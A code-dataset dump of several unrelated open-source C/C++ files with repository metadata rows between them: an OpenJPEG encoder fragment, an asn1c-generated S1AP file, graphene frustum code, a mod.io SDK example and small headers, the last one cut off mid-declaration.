return OPJ_TRUE;
}
/* Returns whether the pass (bpno, passtype) is terminated */
static int opj_t1_enc_is_term_pass(opj_tcd_cblk_enc_t* cblk,
OPJ_UINT32 cblksty,
OPJ_INT32 bpno,
OPJ_UINT32 passtype)
{
/* Is it the last cleanup pass ? */
if (passtype == 2 && bpno == 0) {
return OPJ_TRUE;
}
if (cblksty & J2K_CCP_CBLKSTY_TERMALL) {
return OPJ_TRUE;
}
if ((cblksty & J2K_CCP_CBLKSTY_LAZY)) {
/* For bypass arithmetic bypass, terminate the 4th cleanup pass */
if ((bpno == ((OPJ_INT32)cblk->numbps - 4)) && (passtype == 2)) {
return OPJ_TRUE;
}
/* and beyond terminate all the magnitude refinement passes (in raw) */
/* and cleanup passes (in MQC) */
if ((bpno < ((OPJ_INT32)(cblk->numbps) - 4)) && (passtype > 0)) {
return OPJ_TRUE;
}
}
return OPJ_FALSE;
}
/** mod fixed_quality */
static void opj_t1_encode_cblk(opj_t1_t *t1,
opj_tcd_cblk_enc_t* cblk,
OPJ_UINT32 orient,
OPJ_UINT32 compno,
OPJ_UINT32 level,
OPJ_UINT32 qmfbid,
OPJ_FLOAT64 stepsize,
OPJ_UINT32 cblksty,
OPJ_UINT32 numcomps,
opj_tcd_tile_t * tile,
const OPJ_FLOAT64 * mct_norms,
OPJ_UINT32 mct_numcomps)
{
OPJ_FLOAT64 cumwmsedec = 0.0;
opj_mqc_t *mqc = &(t1->mqc); /* MQC component */
OPJ_UINT32 passno;
OPJ_INT32 bpno;
OPJ_UINT32 passtype;
OPJ_INT32 nmsedec = 0;
OPJ_INT32 max;
OPJ_UINT32 i, j;
OPJ_BYTE type = T1_TYPE_MQ;
OPJ_FLOAT64 tempwmsedec;
#ifdef EXTRA_DEBUG
printf("encode_cblk(x=%d,y=%d,x1=%d,y1=%d,orient=%d,compno=%d,level=%d\n",
cblk->x0, cblk->y0, cblk->x1, cblk->y1, orient, compno, level);
#endif
mqc->lut_ctxno_zc_orient = lut_ctxno_zc + (orient << 9);
max = 0;
for (i = 0; i < t1->w; ++i) {
for (j = 0; j < t1->h; ++j) {
OPJ_INT32 tmp = abs(t1->data[i + j * t1->data_stride]);
max = opj_int_max(max, tmp);
}
}
cblk->numbps = max ? (OPJ_UINT32)((opj_int_floorlog2(max) + 1) -
T1_NMSEDEC_FRACBITS) : 0;
bpno = (OPJ_INT32)(cblk->numbps - 1);
passtype = 2;
opj_mqc_resetstates(mqc);
opj_mqc_setstate(mqc, T1_CTXNO_UNI, 0, 46);
opj_mqc_setstate(mqc, T1_CTXNO_AGG, 0, 3);
opj_mqc_setstate(mqc, T1_CTXNO_ZC, 0, 4);
opj_mqc_init_enc(mqc, cblk->data);
for (passno = 0; bpno >= 0; ++passno) {
opj_tcd_pass_t *pass = &cblk->passes[passno];
type = ((bpno < ((OPJ_INT32)(cblk->numbps) - 4)) && (passtype < 2) &&
(cblksty & J2K_CCP_CBLKSTY_LAZY)) ? T1_TYPE_RAW : T1_TYPE_MQ;
/* If the previous pass was terminating, we need to reset the encoder */
if (passno > 0 && cblk->passes[passno - 1].term) {
if (type == T1_TYPE_RAW) {
opj_mqc_bypass_init_enc(mqc);
} else {
opj_mqc_restart_init_enc(mqc);
}
}
switch (passtype) {
case 0:
opj_t1_enc_sigpass(t1, bpno, &nmsedec, type, cblksty);
break;
case 1:
opj_t1_enc_refpass(t1, bpno, &nmsedec, type);
break;
case 2:
opj_t1_enc_clnpass(t1, bpno, &nmsedec, cblksty);
/* code switch SEGMARK (i.e. SEGSYM) */
if (cblksty & J2K_CCP_CBLKSTY_SEGSYM) {
opj_mqc_segmark_enc(mqc);
}
break;
}
/* fixed_quality */
tempwmsedec = opj_t1_getwmsedec(nmsedec, compno, level, orient, bpno, qmfbid,
stepsize, numcomps, mct_norms, mct_numcomps) ;
cumwmsedec += tempwmsedec;
tile->distotile += tempwmsedec;
pass->distortiondec = cumwmsedec;
if (opj_t1_enc_is_term_pass(cblk, cblksty, bpno, passtype)) {
/* If it is a terminated pass, terminate it */
if (type == T1_TYPE_RAW) {
opj_mqc_bypass_flush_enc(mqc, cblksty & J2K_CCP_CBLKSTY_PTERM);
} else {
if (cblksty & J2K_CCP_CBLKSTY_PTERM) {
opj_mqc_erterm_enc(mqc);
} else {
opj_mqc_flush(mqc);
}
}
pass->term = 1;
pass->rate = opj_mqc_numbytes(mqc);
} else {
/* Non terminated pass */
OPJ_UINT32 rate_extra_bytes;
if (type == T1_TYPE_RAW) {
rate_extra_bytes = opj_mqc_bypass_get_extra_bytes(
mqc, (cblksty & J2K_CCP_CBLKSTY_PTERM));
} else {
rate_extra_bytes = 3;
}
pass->term = 0;
pass->rate = opj_mqc_numbytes(mqc) + rate_extra_bytes;
}
if (++passtype == 3) {
passtype = 0;
bpno--;
}
/* Code-switch "RESET" */
if (cblksty & J2K_CCP_CBLKSTY_RESET) {
opj_mqc_reset_enc(mqc);
}
}
cblk->totalpasses = passno;
if (cblk->totalpasses) {
/* Make sure that pass rates are increasing */
OPJ_UINT32 last_pass_rate = opj_mqc_numbytes(mqc);
for (passno = cblk->totalpasses; passno > 0;) {
opj_tcd_pass_t *pass = &cblk->passes[--passno];
if (pass->rate > last_pass_rate) {
pass->rate = last_pass_rate;
} else {
last_pass_rate = pass->rate;
}
}
}
for (passno = 0; passno < cblk->totalpasses; passno++) {
opj_tcd_pass_t *pass = &cblk->passes[passno];
/* Prevent generation of FF as last data byte of a pass*/
/* For terminating passes, the flushing procedure ensured this already */
assert(pass->rate > 0);
if (cblk->data[pass->rate - 1] == 0xFF) {
pass->rate--;
}
pass->len = pass->rate - (passno == 0 ? 0 : cblk->passes[passno - 1].rate);
}
#ifdef EXTRA_DEBUG
printf(" len=%d\n", (cblk->totalpasses) ? opj_mqc_numbytes(mqc) : 0);
/* Check that there not 0xff >=0x90 sequences */
if (cblk->totalpasses) {
OPJ_UINT32 i;
OPJ_UINT32 len = opj_mqc_numbytes(mqc);
for (i = 1; i < len; ++i) {
if (cblk->data[i - 1] == 0xff && cblk->data[i] >= 0x90) {
printf("0xff %02x at offset %d\n", cblk->data[i], i - 1);
abort();
}
}
}
#endif
}
| 32.940481 | 99 | 0.481513 |
bd1acd506f864c5fa674eab71dd924a8654a383e | 2,845 | c | C | cmake_targets/lte_build_oai/build/CMakeFiles/S1AP_R14/S1AP_UserLocationInformation.c | Cindia-blue/openairenb | f8ceb1e060a722335581944d38c9fe989377f924 | [
"Apache-2.0"
] | null | null | null | cmake_targets/lte_build_oai/build/CMakeFiles/S1AP_R14/S1AP_UserLocationInformation.c | Cindia-blue/openairenb | f8ceb1e060a722335581944d38c9fe989377f924 | [
"Apache-2.0"
] | null | null | null | cmake_targets/lte_build_oai/build/CMakeFiles/S1AP_R14/S1AP_UserLocationInformation.c | Cindia-blue/openairenb | f8ceb1e060a722335581944d38c9fe989377f924 | [
"Apache-2.0"
] | null | null | null | /*
* Generated by asn1c-0.9.29 (http://lionet.info/asn1c)
* From ASN.1 module "S1AP-IEs"
* found in "/home/lixh/enb_folder/openair3/S1AP/MESSAGES/ASN1/R14/s1ap-14.5.0.asn1"
* `asn1c -pdu=all -fcompound-names -gen-PER -no-gen-OER -no-gen-example -fno-include-deps -D /home/lixh/enb_folder/cmake_targets/lte_build_oai/build/CMakeFiles/S1AP_R14`
*/
#include "S1AP_UserLocationInformation.h"
#include "S1AP_ProtocolExtensionContainer.h"
static asn_TYPE_member_t asn_MBR_S1AP_UserLocationInformation_1[] = {
{ ATF_NOFLAGS, 0, offsetof(struct S1AP_UserLocationInformation, eutran_cgi),
(ASN_TAG_CLASS_CONTEXT | (0 << 2)),
-1, /* IMPLICIT tag at current level */
&asn_DEF_S1AP_EUTRAN_CGI,
0,
{ 0, 0, 0 },
0, 0, /* No default value */
"eutran-cgi"
},
{ ATF_NOFLAGS, 0, offsetof(struct S1AP_UserLocationInformation, tai),
(ASN_TAG_CLASS_CONTEXT | (1 << 2)),
-1, /* IMPLICIT tag at current level */
&asn_DEF_S1AP_TAI,
0,
{ 0, 0, 0 },
0, 0, /* No default value */
"tai"
},
{ ATF_POINTER, 1, offsetof(struct S1AP_UserLocationInformation, iE_Extensions),
(ASN_TAG_CLASS_CONTEXT | (2 << 2)),
-1, /* IMPLICIT tag at current level */
&asn_DEF_S1AP_ProtocolExtensionContainer_6628P115,
0,
{ 0, 0, 0 },
0, 0, /* No default value */
"iE-Extensions"
},
};
static const int asn_MAP_S1AP_UserLocationInformation_oms_1[] = { 2 };
static const ber_tlv_tag_t asn_DEF_S1AP_UserLocationInformation_tags_1[] = {
(ASN_TAG_CLASS_UNIVERSAL | (16 << 2))
};
static const asn_TYPE_tag2member_t asn_MAP_S1AP_UserLocationInformation_tag2el_1[] = {
{ (ASN_TAG_CLASS_CONTEXT | (0 << 2)), 0, 0, 0 }, /* eutran-cgi */
{ (ASN_TAG_CLASS_CONTEXT | (1 << 2)), 1, 0, 0 }, /* tai */
{ (ASN_TAG_CLASS_CONTEXT | (2 << 2)), 2, 0, 0 } /* iE-Extensions */
};
static asn_SEQUENCE_specifics_t asn_SPC_S1AP_UserLocationInformation_specs_1 = {
sizeof(struct S1AP_UserLocationInformation),
offsetof(struct S1AP_UserLocationInformation, _asn_ctx),
asn_MAP_S1AP_UserLocationInformation_tag2el_1,
3, /* Count of tags in the map */
asn_MAP_S1AP_UserLocationInformation_oms_1, /* Optional members */
1, 0, /* Root/Additions */
3, /* First extension addition */
};
asn_TYPE_descriptor_t asn_DEF_S1AP_UserLocationInformation = {
"UserLocationInformation",
"UserLocationInformation",
&asn_OP_SEQUENCE,
asn_DEF_S1AP_UserLocationInformation_tags_1,
sizeof(asn_DEF_S1AP_UserLocationInformation_tags_1)
/sizeof(asn_DEF_S1AP_UserLocationInformation_tags_1[0]), /* 1 */
asn_DEF_S1AP_UserLocationInformation_tags_1, /* Same as above */
sizeof(asn_DEF_S1AP_UserLocationInformation_tags_1)
/sizeof(asn_DEF_S1AP_UserLocationInformation_tags_1[0]), /* 1 */
{ 0, 0, SEQUENCE_constraint },
asn_MBR_S1AP_UserLocationInformation_1,
3, /* Elements count */
&asn_SPC_S1AP_UserLocationInformation_specs_1 /* Additional specs */
};
| 38.445946 | 171 | 0.737786 |
bd1b7a3b9e23adc1cb928fb209c3750b009c6b8d | 1,736 | h | C | apps/shared/range_1D.h | VersiraSec/epsilon-cfw | d12b44c6c6668ecc14b60d8dd098ba5c230b1291 | [
"FSFAP"
] | 1,442 | 2017-08-28T19:39:45.000Z | 2022-03-30T00:56:14.000Z | apps/shared/range_1D.h | VersiraSec/epsilon-cfw | d12b44c6c6668ecc14b60d8dd098ba5c230b1291 | [
"FSFAP"
] | 1,321 | 2017-08-28T23:03:10.000Z | 2022-03-31T19:32:17.000Z | apps/shared/range_1D.h | VersiraSec/epsilon-cfw | d12b44c6c6668ecc14b60d8dd098ba5c230b1291 | [
"FSFAP"
] | 421 | 2017-08-28T22:02:39.000Z | 2022-03-28T20:52:21.000Z | #ifndef SHARED_RANGE_1D_H
#define SHARED_RANGE_1D_H
#include <cmath>
#include <float.h>
#include <poincare/zoom.h>
#if __EMSCRIPTEN__
#include <emscripten.h>
#include <stdint.h>
#endif
namespace Shared {
/* This class is used in a DataBuffer of a Storage::Record. See comment in
* Shared::Function::RecordDataBuffer about packing. */
class __attribute__((packed)) Range1D final {
public:
/* If m_min and m_max are too close, we cannot divide properly the range by
* the number of pixels, which creates a drawing problem. */
constexpr static float k_minFloat = Poincare::Zoom::k_minimalRangeLength;
constexpr static float k_default = Poincare::Zoom::k_defaultHalfRange;
Range1D(float min = -k_default, float max = k_default) :
m_min(min),
m_max(max)
{}
float min() const { return m_min; }
float max() const { return m_max; }
void setMin(float f, float lowerMaxFloat = INFINITY, float upperMaxFloat = INFINITY);
void setMax(float f, float lowerMaxFloat = INFINITY, float upperMaxFloat = INFINITY);
static float clipped(float x, bool isMax, float lowerMaxFloat, float upperMaxFloat);
static float defaultRangeLengthFor(float position);
private:
#if __EMSCRIPTEN__
// See comment about emscripten alignment in Shared::Function::RecordDataBuffer
static_assert(sizeof(emscripten_align1_short) == sizeof(uint16_t), "emscripten_align1_short should have the same size as uint16_t");
emscripten_align1_float m_min;
emscripten_align1_float m_max;
#else
float m_min;
float m_max;
#endif
};
static_assert(Range1D::k_minFloat >= FLT_EPSILON, "InteractiveCurveViewRange's minimal float range is lower than float precision, it might draw uglily curves such as cos(x)^2+sin(x)^2");
}
#endif
| 34.039216 | 186 | 0.756912 |
bd1cb2b8bd670889093b0ac633bca83b5f600be3 | 2,683 | h | C | source/math/min/bit_flag.h | AMDmi3/mgl | 4024cb4a08c8e6f4aadec69022bbcfe8c2a3df92 | [
"Apache-2.0"
] | null | null | null | source/math/min/bit_flag.h | AMDmi3/mgl | 4024cb4a08c8e6f4aadec69022bbcfe8c2a3df92 | [
"Apache-2.0"
] | null | null | null | source/math/min/bit_flag.h | AMDmi3/mgl | 4024cb4a08c8e6f4aadec69022bbcfe8c2a3df92 | [
"Apache-2.0"
] | null | null | null | /* Copyright [2013-2018] [Aaron Springstroh, Minimal Graphics Library]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#ifndef __BIT_FLAG__
#define __BIT_FLAG__
#include <algorithm>
#include <cstdint>
#include <vector>
namespace min
{
// Typename must be an unsigned integer type
template <typename K, typename L>
class bit_flag
{
private:
K _row;
K _col;
std::vector<uint8_t> _flags;
inline std::pair<L, uint_fast8_t> get_address(const L row, const L col) const
{
// Divide by 8 to get into bytes
const L position = (row * _col) + col;
const L byte = position >> 3;
// Get the offset
// 0-7 value
const uint_fast8_t offset = position % 8;
// Return address
return std::make_pair(byte, offset);
}
public:
bit_flag() : _row(0), _col(0) {}
bit_flag(const L row, const L col) : _row(row), _col(col), _flags((row * col >> 3) + 1, 0) {}
inline void clear()
{
// Zero out the bit buffer
std::fill(_flags.begin(), _flags.end(), 0);
}
inline bool get(const K row, const K col) const
{
// Get the address
const std::pair<L, uint_fast8_t> addr = get_address(row, col);
// Return 1 if on and zero if off
return (_flags[addr.first] >> addr.second) & 0x1;
}
inline bool get_set_on(const K row, const K col)
{
// Get the address
const std::pair<L, uint_fast8_t> addr = get_address(row, col);
// Cache shift for the read/write operation
const auto shift = (0x1 << addr.second);
// Return 1 if on and zero if off
const bool out = _flags[addr.first] & shift;
// Set bit on
_flags[addr.first] |= shift;
return out;
}
inline void set_on(const K row, const K col)
{
// Get the address
const std::pair<L, uint_fast8_t> addr = get_address(row, col);
_flags[addr.first] |= (0x1 << addr.second);
}
inline void set_off(const K row, const K col)
{
// Get the address
const std::pair<L, uint_fast8_t> addr = get_address(row, col);
_flags[addr.first] &= ~(0x1 << addr.second);
}
};
}
#endif
| 28.242105 | 97 | 0.627656 |
bd1d131722e4fd30311c43bd27785b2c02aa5b0a | 9,676 | c | C | src/graphene-frustum.c | fanc999/graphene | e47d1c56876739e64554c2d0822e28413e088f85 | [
"MIT"
] | 289 | 2015-01-01T13:23:11.000Z | 2022-03-30T03:19:40.000Z | src/graphene-frustum.c | fanc999/graphene | e47d1c56876739e64554c2d0822e28413e088f85 | [
"MIT"
] | 157 | 2015-01-28T09:17:50.000Z | 2022-03-21T09:08:14.000Z | src/graphene-frustum.c | fanc999/graphene | e47d1c56876739e64554c2d0822e28413e088f85 | [
"MIT"
] | 78 | 2015-02-05T21:47:44.000Z | 2022-03-19T21:18:55.000Z | /* graphene-frustum.c: A 3D field of view
*
* SPDX-License-Identifier: MIT
*
* Copyright 2014 Emmanuele Bassi
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
/**
* SECTION:graphene-frustum
* @Title: Frustum
* @Short_Description: A 3D field of view
*
* A #graphene_frustum_t represents a volume of space delimited by planes. It
* is usually employed to represent the field of view of a camera, and can be
* used to determine whether an object falls within that view, to efficiently
* remove invisible objects from the render process.
*/
#include "graphene-private.h"
#include "graphene-frustum.h"
#include "graphene-alloc-private.h"
#include "graphene-box.h"
#include "graphene-matrix.h"
#include "graphene-sphere.h"
#include "graphene-point3d.h"
#include "graphene-vec4.h"
#define N_CLIP_PLANES 6
/**
* graphene_frustum_alloc: (constructor)
*
* Allocates a new #graphene_frustum_t structure.
*
* The contents of the returned structure are undefined.
*
* Returns: (transfer full): the newly allocated #graphene_frustum_t
* structure. Use graphene_frustum_free() to free the resources
* allocated by this function.
*
* Since: 1.2
*/
graphene_frustum_t *
graphene_frustum_alloc (void)
{
return graphene_aligned_alloc0 (sizeof (graphene_frustum_t), 1, 16);
}
/**
* graphene_frustum_free:
* @f: a #graphene_frustum_t
*
* Frees the resources allocated by graphene_frustum_alloc().
*
* Since: 1.2
*/
void
graphene_frustum_free (graphene_frustum_t *f)
{
graphene_aligned_free (f);
}
/**
* graphene_frustum_init:
* @f: the #graphene_frustum_t to initialize
* @p0: a clipping plane
* @p1: a clipping plane
* @p2: a clipping plane
* @p3: a clipping plane
* @p4: a clipping plane
* @p5: a clipping plane
*
* Initializes the given #graphene_frustum_t using the provided
* clipping planes.
*
* Returns: (transfer none): the initialized frustum
*
* Since: 1.2
*/
graphene_frustum_t *
graphene_frustum_init (graphene_frustum_t *f,
const graphene_plane_t *p0,
const graphene_plane_t *p1,
const graphene_plane_t *p2,
const graphene_plane_t *p3,
const graphene_plane_t *p4,
const graphene_plane_t *p5)
{
graphene_plane_init_from_plane (&f->planes[0], p0);
graphene_plane_init_from_plane (&f->planes[1], p1);
graphene_plane_init_from_plane (&f->planes[2], p2);
graphene_plane_init_from_plane (&f->planes[3], p3);
graphene_plane_init_from_plane (&f->planes[4], p4);
graphene_plane_init_from_plane (&f->planes[5], p5);
return f;
}
/**
* graphene_frustum_init_from_frustum:
* @f: the #graphene_frustum_t to initialize
* @src: a #graphene_frustum_t
*
* Initializes the given #graphene_frustum_t using the clipping
* planes of another #graphene_frustum_t.
*
* Returns: (transfer none): the initialized frustum
*
* Since: 1.2
*/
graphene_frustum_t *
graphene_frustum_init_from_frustum (graphene_frustum_t *f,
const graphene_frustum_t *src)
{
for (int i = 0; i < N_CLIP_PLANES; i++)
graphene_plane_init_from_plane (&f->planes[i], &src->planes[i]);
return f;
}
/**
* graphene_frustum_init_from_matrix:
* @f: a #graphene_frustum_t
* @matrix: a #graphene_matrix_t
*
* Initializes a #graphene_frustum_t using the given @matrix.
*
* Returns: (transfer none): the initialized frustum
*
* Since: 1.2
*/
graphene_frustum_t *
graphene_frustum_init_from_matrix (graphene_frustum_t *f,
const graphene_matrix_t *matrix)
{
graphene_vec4_t r1, r2, r3, r4, t;
graphene_plane_t p;
graphene_matrix_t m;
graphene_matrix_transpose (matrix, &m);
graphene_matrix_get_row (&m, 0, &r1);
graphene_matrix_get_row (&m, 1, &r2);
graphene_matrix_get_row (&m, 2, &r3);
graphene_matrix_get_row (&m, 3, &r4);
graphene_vec4_subtract (&r4, &r1, &t);
graphene_plane_init_from_vec4 (&p, &t);
graphene_plane_normalize (&p, &f->planes[0]);
graphene_vec4_add (&r4, &r1, &t);
graphene_plane_init_from_vec4 (&p, &t);
graphene_plane_normalize (&p, &f->planes[1]);
graphene_vec4_subtract (&r4, &r2, &t);
graphene_plane_init_from_vec4 (&p, &t);
graphene_plane_normalize (&p, &f->planes[2]);
graphene_vec4_add (&r4, &r2, &t);
graphene_plane_init_from_vec4 (&p, &t);
graphene_plane_normalize (&p, &f->planes[3]);
graphene_vec4_subtract (&r4, &r3, &t);
graphene_plane_init_from_vec4 (&p, &t);
graphene_plane_normalize (&p, &f->planes[4]);
graphene_vec4_add (&r4, &r3, &t);
graphene_plane_init_from_vec4 (&p, &t);
graphene_plane_normalize (&p, &f->planes[5]);
return f;
}
/**
* graphene_frustum_get_planes:
* @f: a #graphene_frustum_t
* @planes: (out) (array fixed-size=6): return location for an array
* of 6 #graphene_plane_t
*
* Retrieves the planes that define the given #graphene_frustum_t.
*
* Since: 1.2
*/
void
graphene_frustum_get_planes (const graphene_frustum_t *f,
graphene_plane_t planes[])
{
for (int i = 0; i < N_CLIP_PLANES; i++)
graphene_plane_init_from_plane (&planes[i], &f->planes[i]);
}
/**
* graphene_frustum_contains_point:
* @f: a #graphene_frustum_t
* @point: a #graphene_point3d_t
*
* Checks whether a point is inside the volume defined by the given
* #graphene_frustum_t.
*
* Returns: `true` if the point is inside the frustum
*
* Since: 1.2
*/
bool
graphene_frustum_contains_point (const graphene_frustum_t *f,
const graphene_point3d_t *point)
{
if (point == NULL)
return false;
for (int i = 0; i < N_CLIP_PLANES; i++)
{
const graphene_plane_t *p = &f->planes[i];
if (graphene_plane_distance (p, point) < 0)
return false;
}
return true;
}
/**
* graphene_frustum_intersects_sphere:
* @f: a #graphene_frustum_t
* @sphere: a #graphene_sphere_t
*
* Checks whether the given @sphere intersects a plane of
* a #graphene_frustum_t.
*
* Returns: `true` if the sphere intersects the frustum
*
* Since: 1.2
*/
bool
graphene_frustum_intersects_sphere (const graphene_frustum_t *f,
const graphene_sphere_t *sphere)
{
graphene_point3d_t center;
graphene_point3d_init_from_vec3 (¢er, &sphere->center);
for (int i = 0; i < N_CLIP_PLANES; i++)
{
float distance = graphene_plane_distance (&f->planes[i], ¢er);
if (distance < -sphere->radius)
return false;
}
return true;
}
/**
* graphene_frustum_intersects_box:
* @f: a #graphene_frustum_t
* @box: a #graphene_box_t
*
* Checks whether the given @box intersects a plane of
* a #graphene_frustum_t.
*
* Returns: `true` if the box intersects the frustum
*
* Since: 1.2
*/
bool
graphene_frustum_intersects_box (const graphene_frustum_t *f,
const graphene_box_t *box)
{
graphene_point3d_t min, max, normal;
graphene_point3d_t p0, p1;
const graphene_plane_t *plane;
float d0, d1;
graphene_box_get_min (box, &min);
graphene_box_get_max (box, &max);
for (int i = 0; i < N_CLIP_PLANES; i++)
{
plane = &f->planes[i];
graphene_point3d_init_from_vec3 (&normal, &(plane->normal));
p0.x = normal.x > 0 ? min.x : max.x;
p1.x = normal.x > 0 ? max.x : min.x;
p0.y = normal.y > 0 ? min.y : max.y;
p1.y = normal.y > 0 ? max.y : min.y;
p0.z = normal.z > 0 ? min.z : max.z;
p1.z = normal.z > 0 ? max.z : min.z;
d0 = graphene_plane_distance (plane, &p0);
d1 = graphene_plane_distance (plane, &p1);
if (d0 < 0 && d1 < 0)
return false;
}
return true;
}
static bool
frustum_equal (const void *p1,
const void *p2)
{
const graphene_frustum_t *a = p1;
const graphene_frustum_t *b = p2;
return graphene_plane_equal (&a->planes[0], &b->planes[0]) &&
graphene_plane_equal (&a->planes[1], &b->planes[1]) &&
graphene_plane_equal (&a->planes[2], &b->planes[2]) &&
graphene_plane_equal (&a->planes[3], &b->planes[3]) &&
graphene_plane_equal (&a->planes[4], &b->planes[4]) &&
graphene_plane_equal (&a->planes[5], &b->planes[5]);
}
/**
* graphene_frustum_equal:
* @a: a #graphene_frustum_t
* @b: a #graphene_frustum_t
*
* Checks whether the two given #graphene_frustum_t are equal.
*
* Returns: `true` if the given frustums are equal
*
* Since: 1.6
*/
bool
graphene_frustum_equal (const graphene_frustum_t *a,
const graphene_frustum_t *b)
{
return graphene_pointer_equal (a, b, frustum_equal);
}
| 27.333333 | 80 | 0.672179 |
bd1e416fd448adc5a6460c793f718dd80e11d052 | 1,578 | h | C | hybridse/src/codegen/memery_ir_builder.h | lotabout/OpenMLDB | 432da3afbed240eb0b8d0571c05f233b1a5a1cd4 | [
"Apache-2.0"
] | 1 | 2021-11-01T10:16:37.000Z | 2021-11-01T10:16:37.000Z | hybridse/src/codegen/memery_ir_builder.h | lotabout/OpenMLDB | 432da3afbed240eb0b8d0571c05f233b1a5a1cd4 | [
"Apache-2.0"
] | 14 | 2021-04-30T06:14:30.000Z | 2022-01-07T22:45:09.000Z | hybridse/src/codegen/memery_ir_builder.h | lotabout/OpenMLDB | 432da3afbed240eb0b8d0571c05f233b1a5a1cd4 | [
"Apache-2.0"
] | 1 | 2022-01-25T08:30:24.000Z | 2022-01-25T08:30:24.000Z | /*
* Copyright 2021 4Paradigm
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef SRC_CODEGEN_MEMERY_IR_BUILDER_H_
#define SRC_CODEGEN_MEMERY_IR_BUILDER_H_
#include <string>
#include "base/fe_status.h"
#include "codegen/scope_var.h"
#include "llvm/IR/IRBuilder.h"
namespace hybridse {
namespace codegen {
class MemoryIRBuilder {
public:
explicit MemoryIRBuilder(::llvm::Module* m);
~MemoryIRBuilder();
base::Status Alloc(::llvm::BasicBlock* block,
const NativeValue& request_size,
NativeValue* output); // NOLINT
base::Status MemoryCopy(::llvm::BasicBlock* block, const NativeValue& dist,
const NativeValue& src, const NativeValue& size);
base::Status MemoryAddrAdd(::llvm::BasicBlock* block,
const NativeValue& addr, const NativeValue& size,
NativeValue* new_addr);
private:
::llvm::Module* m_;
};
} // namespace codegen
} // namespace hybridse
#endif // SRC_CODEGEN_MEMERY_IR_BUILDER_H_
| 32.875 | 80 | 0.681876 |
bd1ef2a05883810abf5c391b2d2ef56c0e80d3ac | 1,257 | c | C | examples/code-samples/c/47_GetModComment.c | leo-polymorph/modioSDK | 4e1b1d4baa17d3690f9520484fa58ea466818c2a | [
"MIT"
] | 1 | 2018-10-05T15:59:04.000Z | 2018-10-05T15:59:04.000Z | examples/code-samples/c/47_GetModComment.c | PyrokinesisStudio/modioSDK | 951de6d90806794b5f86f82a1bbfda3e0ba0b65f | [
"MIT"
] | null | null | null | examples/code-samples/c/47_GetModComment.c | PyrokinesisStudio/modioSDK | 951de6d90806794b5f86f82a1bbfda3e0ba0b65f | [
"MIT"
] | null | null | null | #include "modio_c.h"
void onGetModComment(void *object, ModioResponse response, ModioComment comment)
{
bool *wait = object;
printf("On mod get response: %i\n", response.code);
if (response.code == 200)
{
printf("Id:\t\t%i\n", comment.id);
printf("Mod id:\t\t%i\n", comment.mod_id);
printf("Date added:\t%i\n", comment.date_added);
printf("Reply id:\t%i\n", comment.reply_id);
printf("Thread position:%s\n", comment.thread_position);
printf("Karma:\t\t%i\n", comment.karma);
printf("Karma guest:\t%i\n", comment.karma_guest);
printf("Content:\t%s\n", comment.content);
printf("User:\t\t%s\n", comment.user.username);
}
*wait = false;
}
int main(void)
{
modioInit(MODIO_ENVIRONMENT_TEST, 7, (char *)"e91c01b8882f4affeddd56c96111977b", NULL);
bool wait = true;
// We request a single comment by providing it's id
printf("Please enter the mod id: \n");
u32 mod_id;
scanf("%i", &mod_id);
printf("Please enter the comment id: \n");
u32 comment_id;
scanf("%i", &comment_id);
printf("Getting mod comment...\n");
modioGetModComment(&wait, mod_id, comment_id, &onGetModComment);
while (wait)
{
modioProcess();
}
modioShutdown();
printf("Process finished\n");
return 0;
}
| 25.14 | 89 | 0.65712 |
bd203384ef62ee9a256157a2640fead614ced659 | 2,286 | h | C | src/core/lib/compression/compression_args.h | jayonlau/grpc | 88a2e165868af40dba4cffbe0e63e7f7d579a161 | [
"BSD-3-Clause"
] | 5 | 2019-11-12T04:30:55.000Z | 2021-08-11T23:04:12.000Z | src/core/lib/compression/compression_args.h | bwncp/grpc | 779701ab76c552affa9f5c7815c2b598c996ea54 | [
"Apache-2.0"
] | 10 | 2015-03-03T06:51:51.000Z | 2022-03-23T14:10:56.000Z | src/core/lib/compression/compression_args.h | bwncp/grpc | 779701ab76c552affa9f5c7815c2b598c996ea54 | [
"Apache-2.0"
] | 1 | 2015-08-22T15:20:59.000Z | 2015-08-22T15:20:59.000Z | /*
*
* Copyright 2015 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#ifndef GRPC_CORE_LIB_COMPRESSION_COMPRESSION_ARGS_H
#define GRPC_CORE_LIB_COMPRESSION_COMPRESSION_ARGS_H
#include <grpc/support/port_platform.h>
#include <grpc/compression.h>
#include <grpc/impl/codegen/grpc_types.h>
/** Returns the compression algorithm set in \a a. */
grpc_compression_algorithm
